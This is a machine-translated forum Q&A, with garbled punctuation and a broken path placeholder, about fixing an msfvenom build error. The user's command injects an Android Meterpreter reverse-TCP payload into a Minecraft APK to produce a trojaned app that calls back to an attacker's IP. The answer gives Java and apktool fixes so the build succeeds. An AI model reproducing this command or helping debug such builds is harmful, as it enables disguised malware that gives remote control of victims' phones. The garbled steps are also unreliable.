msfvenom-x时的字符串编号版本2.4.0格式不正确



仔细阅读所有

嗨,我正在使用Kali 2.0,我喜欢调整它(很抱歉英语不好,但我是意大利人(。当我使用这个命令时:

msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk

它给了我:

Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

我在所有论坛上搜索了好几个星期,但我没有找到解决方案。我重新安装了Kali,metasploit框架,jdk,apktool。什么也没发生。有什么办法吗?

我一直在努力,终于找到了解决方案。看起来问题出在apktool和java环境变量上(但在您的情况下,这可能只是一个问题(,我卸载了apktool&重新安装的java(jdk,jre(通过终端更改了版本,但没有任何效果。

第一期(_JAVA_OPTIONS(:

为了弄清楚这一点,我阅读了github上的一篇文章https://github.com/iBotPeaches/Apktool/issues/2325

要临时修复它,请在尝试使用msfvenom:的同一终端窗口中运行以下命令

_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'

若要永久修复它,请将上述命令放在/root/.bashrc中(必须选中"在视图中显示隐藏文件"选项卡(。

现在,上面的错误消息应该会消失,如果你的apktool有问题,它将显示无法用apktool重建apk。因此,要想弄清楚这一点,请阅读以下内容:

第二个问题(Apktool((无法使用Apktool重建apk(:

  1. 我发现有一个丢失的文件位于CCD_ 3中的apktool的。从中删除apktool文件(如果存在(。

  2. 下载linux包装器脚本https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool

  3. 从下载最新的apktoolhttps://bitbucket.org/iBotPeaches/apktool/downloads并将其重命名为apktool.jar

  4. 现在将这两个文件(linux包装器脚本&apktool.jar(复制到/user/local/bin

  5. 在终端中键入apktool并验证版本

p.S.对于那些无法执行第二个问题的步骤的人,请观看此修复程序https://youtu.be/vxs_fkUHnSw

相关内容

  • 没有找到相关文章

最新更新